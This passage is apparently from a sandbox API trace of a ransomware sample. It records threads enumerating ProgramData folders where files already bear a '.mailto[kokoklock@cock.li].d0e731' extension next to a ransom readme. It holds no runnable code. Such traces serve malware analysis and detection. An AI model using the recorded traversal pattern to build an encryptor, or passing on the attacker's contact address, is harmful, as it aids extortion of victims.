lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.249] wcscmp (_String1="..", _String2=".") returned 1 [0169.249] wcscmp (_String1="..", _String2="..") returned 0 [0169.249] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 1 [0169.249] wcscmp (_String1="refcount.ini", _String2=".") returned 1 [0169.249] wcscmp (_String1="refcount.ini", _String2="..") returned 1 [0169.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x72) returned 0x2f8ae90 [0169.249] wcscpy (in: _Dest=0x2f8ae90, _Source="C:\\Users\\All Users\\Microsoft OneDrive\\setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup" [0169.249] wcscat (in: _Dest=0x2f8ae90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\" [0169.249] wcscat (in: _Dest=0x2f8ae90, _Source="refcount.ini" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" [0171.050] Sleep (dwMilliseconds=0x1) [0171.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8ae90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0171.080] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 0 [0171.080] FindClose (in: hFindFile=0x2f7fe60 | out: hFindFile=0x2f7fe60) returned 1 [0171.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d4e0) returned 1 [0171.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87d00) returned 1 [0171.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa0f0) returned 1 [0171.080] RtlExitUserThread (Status=0x0) Thread: id = 1803 os_tid = 0xef4 [0169.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa1e50 [0169.250] wcscpy (in: _Dest=0x2fa1e50, _Source="C:\\Users\\All Users\\Microsoft\\AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV" [0169.250] wcscat (in: _Dest=0x2fa1e50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\" [0169.250] wcscat (in: _Dest=0x2fa1e50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\*") returned="C:\\Users\\All Users\\Microsoft\\AppV\\*" [0169.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d748 [0169.250] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\*", lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fd20 [0169.250] wcscmp (_String1=".", _String2=".") returned 0 [0169.250] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.250] wcscmp (_String1="..", _String2=".") returned 1 [0169.250] wcscmp (_String1="..", _String2="..") returned 0 [0169.250] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0169.250] wcscmp (_String1="Setup", _String2=".") returned 1 [0169.250] wcscmp (_String1="Setup", _String2="..") returned 1 [0169.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f88898 [0169.250] wcscpy (in: _Dest=0x2f88898, _Source="C:\\Users\\All Users\\Microsoft\\AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV" [0169.251] wcscat (in: _Dest=0x2f88898, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\" [0169.251] wcscat (in: _Dest=0x2f88898, _Source="Setup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup" [0171.050] Sleep (dwMilliseconds=0x1) [0171.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0171.078] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0 [0171.078] FindClose (in: hFindFile=0x2f7fd20 | out: hFindFile=0x2f7fd20) returned 1 [0171.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d748) returned 1 [0171.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1e50) returned 1 [0171.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa11d0) returned 1 [0171.078] RtlExitUserThread (Status=0x0) Thread: id = 1804 os_tid = 0xef8 [0169.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa9f10 [0169.251] wcscpy (in: _Dest=0x2fa9f10, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0169.251] wcscat (in: _Dest=0x2fa9f10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0169.251] wcscat (in: _Dest=0x2fa9f10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*" [0169.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99b20 [0169.251] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*", lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84f5800b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84f5800b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe20 [0169.251] wcscmp (_String1=".", _String2=".") returned 0 [0169.251] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84f5800b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84f5800b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.251] wcscmp (_String1="..", _String2=".") returned 1 [0169.252] wcscmp (_String1="..", _String2="..") returned 0 [0169.252] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", cAlternateFileName="0D0D4E~1")) returned 1 [0169.252] wcscmp (_String1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", _String2=".") returned 1 [0169.252] wcscmp (_String1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", _String2="..") returned 1 [0169.252] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee588 [0169.252] wcscpy (in: _Dest=0x2fee588, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0169.252] wcscat (in: _Dest=0x2fee588, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0169.252] wcscat (in: _Dest=0x2fee588, _Source="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" [0171.050] Sleep (dwMilliseconds=0x1) [0171.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fee588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0171.067] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0171.067] wcscmp (_String1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", _String2=".") returned 1 [0171.067] wcscmp (_String1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", _String2="..") returned 1 [0171.067] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee2e8 [0171.067] wcscpy (in: _Dest=0x2fee2e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.067] wcscat (in: _Dest=0x2fee2e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.067] wcscat (in: _Dest=0x2fee2e8, _Source="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" [0171.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fee2e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0171.068] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0171.068] wcscmp (_String1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", _String2=".") returned 1 [0171.068] wcscmp (_String1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", _String2="..") returned 1 [0171.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee438 [0171.068] wcscpy (in: _Dest=0x2fee438, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.068] wcscat (in: _Dest=0x2fee438, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.068] wcscat (in: _Dest=0x2fee438, _Source="201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" [0171.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fee438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0171.069] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f0bbbe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84f0bbbe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84f0bbbe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0171.069] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0171.069] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0171.069] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84f31e98, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEPLOY~2.D0E")) returned 1 [0171.069] wcscmp (_String1="DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.069] wcscmp (_String1="DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.069] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0b6b0 [0171.069] wcscpy (in: _Dest=0x4f0b6b0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.069] wcscat (in: _Dest=0x4f0b6b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.069] wcscat (in: _Dest=0x4f0b6b0, _Source="DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731" [0171.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0171.070] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x84f0bbbe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x874, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEPLOY~1.D0E")) returned 1 [0171.070] wcscmp (_String1="DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.070] wcscmp (_String1="DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.070] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0b138 [0171.070] wcscpy (in: _Dest=0x4f0b138, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.070] wcscat (in: _Dest=0x4f0b138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.070] wcscat (in: _Dest=0x4f0b138, _Source="DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731" [0171.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0171.071] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x84f5800b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x626, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEPLOY~3.D0E")) returned 1 [0171.071] wcscmp (_String1="DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.071] wcscmp (_String1="DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0b390 [0171.071] wcscpy (in: _Dest=0x4f0b390, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.071] wcscat (in: _Dest=0x4f0b390, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.071] wcscat (in: _Dest=0x4f0b390, _Source="DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731" [0171.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0171.072] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0171.072] wcscmp (_String1="MachineData", _String2=".") returned 1 [0171.072] wcscmp (_String1="MachineData", _String2="..") returned 1 [0171.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x2f68448 [0171.072] wcscpy (in: _Dest=0x2f68448, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.072] wcscat (in: _Dest=0x2f68448, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.072] wcscat (in: _Dest=0x2f68448, _Source="MachineData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" [0171.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f68448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0171.073] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0171.073] wcscmp (_String1="ProductReleases", _String2=".") returned 1 [0171.073] wcscmp (_String1="ProductReleases", _String2="..") returned 1 [0171.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96d50 [0171.073] wcscpy (in: _Dest=0x2f96d50, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.073] wcscat (in: _Dest=0x2f96d50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.073] wcscat (in: _Dest=0x2f96d50, _Source="ProductReleases" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" [0171.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0171.074] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0171.074] wcscmp (_String1="UserData", _String2=".") returned 1 [0171.074] wcscmp (_String1="UserData", _String2="..") returned 1 [0171.074] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f63fb0 [0171.074] wcscpy (in: _Dest=0x2f63fb0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.074] wcscat (in: _Dest=0x2f63fb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.074] wcscat (in: _Dest=0x2f63fb0, _Source="UserData" | out: _Dest="C:\\Users\\All 